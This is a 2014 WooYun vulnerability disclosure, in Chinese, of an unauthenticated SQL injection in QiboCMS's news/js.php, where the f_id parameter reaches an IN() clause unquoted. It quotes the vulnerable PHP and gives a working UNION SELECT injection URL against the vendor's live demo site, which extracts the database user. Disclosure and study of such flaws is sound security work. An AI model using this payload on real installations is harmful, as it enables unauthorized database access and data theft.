当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075317

漏洞标题:qibocms 部分系统无需登录注入(demo成功)

相关厂商:齐博CMS

漏洞作者: ′雨。

提交时间:2014-09-09 15:29

修复时间:2014-12-08 15:30

公开时间:2014-12-08 15:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-10: 厂商已经确认,细节仅向厂商公开
2014-09-13: 细节向第三方安全合作伙伴开放
2014-11-04: 细节向核心白帽子及相关领域专家公开
2014-11-14: 细节向普通白帽子公开
2014-11-24: 细节向实习白帽子公开
2014-12-08: 细节向公众公开

简要描述:

不清楚杀哪些系统。
本地没几个qibo的系统 大概看了看
b2b 和 企业 都存在这洞
以b2b演示 无视GPC。
这才应该是最后一弹。

详细说明:

不清楚哪些系统存在 以B2B演示 官方自己慢慢排查把。
WooYun: qibocms B2b 注入一枚
很久前的一个漏洞 这个漏洞的修复是直接去掉了urldecode
然后自己就放弃了。 今天再看到这个文件
继续看
news/js.php中

if($keyword){
$SQL.=" AND ( ";
//$keyword=urldecode($keyword);
$keyword=filtrate($keyword);
$detail=explode(" ",$keyword);
unset($detail2);
foreach( $detail AS $key=>$value){
$detail2[]=" BINARY title LIKE '%$value%' ";
}
$str=implode(" OR ",$detail2);


可以看到这里把urldecode注释掉了 然后用filterate来过滤了。
那么这样就修复了上次的那个洞 所以这里就没办法了。
今天无意看到这上面的几行
12-24行左右

if($type=='hot'||$type=='com'||$type=='new'||$type=='lastview'||$type=='like')
{
if($f_id)
{
if(is_numeric($f_id)){
$SQL=" fid=$f_id ";
}else{
$detail=explode(",",$f_id);
$SQL=" fid IN ( ".implode(",",$detail)." ) ";

}
}


if(is_numeric($f_id)){
$SQL=" fid=$f_id ";
}else{
$detail=explode(",",$f_id);
$SQL=" fid IN ( ".implode(",",$detail)." ) ";

}


当设置$f_id之后
如果不是数字的话 就先切为数组 然后再返回成字符串 但是这里 成字符串之后 没有添加单引号。
而且$f_id 并没有被intval 在全局文件中被intval的是$fid
这里的是$f_id 所以可以注入了。
官网测试

b1.jpg


报错了 没单引号
构造一下
http://b2b.qibosoft.com/news/js.php?f_id=1) UNION SELECT 1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%23&type=hot

b2.jpg


成功出数据。

漏洞证明:

b2.jpg

修复方案:

单引号之。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-09-10 09:14

厂商回复:

感谢提出来

最新状态:

暂无